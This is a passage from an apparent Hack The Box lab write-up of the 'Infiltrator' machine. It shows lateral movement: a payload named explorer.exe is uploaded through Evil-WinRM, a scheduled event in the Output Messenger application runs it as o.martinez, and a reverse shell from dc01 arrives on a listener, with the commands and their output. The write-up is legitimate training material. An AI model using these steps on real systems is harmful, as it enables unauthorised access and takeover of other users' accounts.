o.martinez


It has been suspected that created events are getting executed. Given there is an action, Run Application, I might be able to get code execution on the dc01.infiltrator.htb host

*Evil-WinRM* PS C:\> mkdir tmp ; cd tmp
    Directory: C:\
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         9/3/2024  12:25 PM                tmp
 
 
*Evil-WinRM* PS C:\tmp> upload explorer.exe .
 
Info: Uploading /home/kali/archive/htb/labs/infiltrator/explorer.exe to C:\tmp\.
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!

Created a directory C:\tmp and placed the payload

*Evil-WinRM* PS C:\Users\winrm_svc\Documents> cmd /c time /t
12:51 PM

Checking the time as well

Setting up a new event to execute the planted payload at 1300H

It throws an error that the file doesn’t exist I would need to create a file on the Windows machine just to get past this error. The o.martinez user would then login to the Output Messenger application from the dc01.infiltrator.htb host

PS C:\> mkdir tmp ; cd tmp ; echo blah > explorer.exe

So I created the same environment; C:\tmp\explorer.exe

and saved I also logged out, so that the o.martinez user can log back in from the dc01.infiltrator.htb host

Logged back in as the k.turner user to observe The o.martinez user is online

*Evil-WinRM* PS C:\tmp> cmd /c time /t
12:57 PM

It should run the application in 3 minutes

┌──(kali㉿kali)-[~/archive/htb/labs/infiltrator]
└─$ nnc 7777
listening on [any] 7777 ...
connect to [10.10.15.34] from (UNKNOWN) [10.129.60.111] 54233
Microsoft Windows [Version 10.0.17763.6189]
(c) 2018 Microsoft Corporation. All rights reserved.
 
C:\Windows\system32> whoami
 whoami
infiltrator\o.martinez
 
C:\Windows\system32> hostname
 hostname
dc01
 
C:\Windows\system32> ipconfig
 ipconfig
 
Windows IP Configuration
 
 
Ethernet adapter Ethernet0 2:
 
   Connection-specific DNS Suffix  . : .htb
   IPv4 Address. . . . . . . . . . . : 10.129.60.111
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.129.0.1

Lateral Movement made to the o.martinez user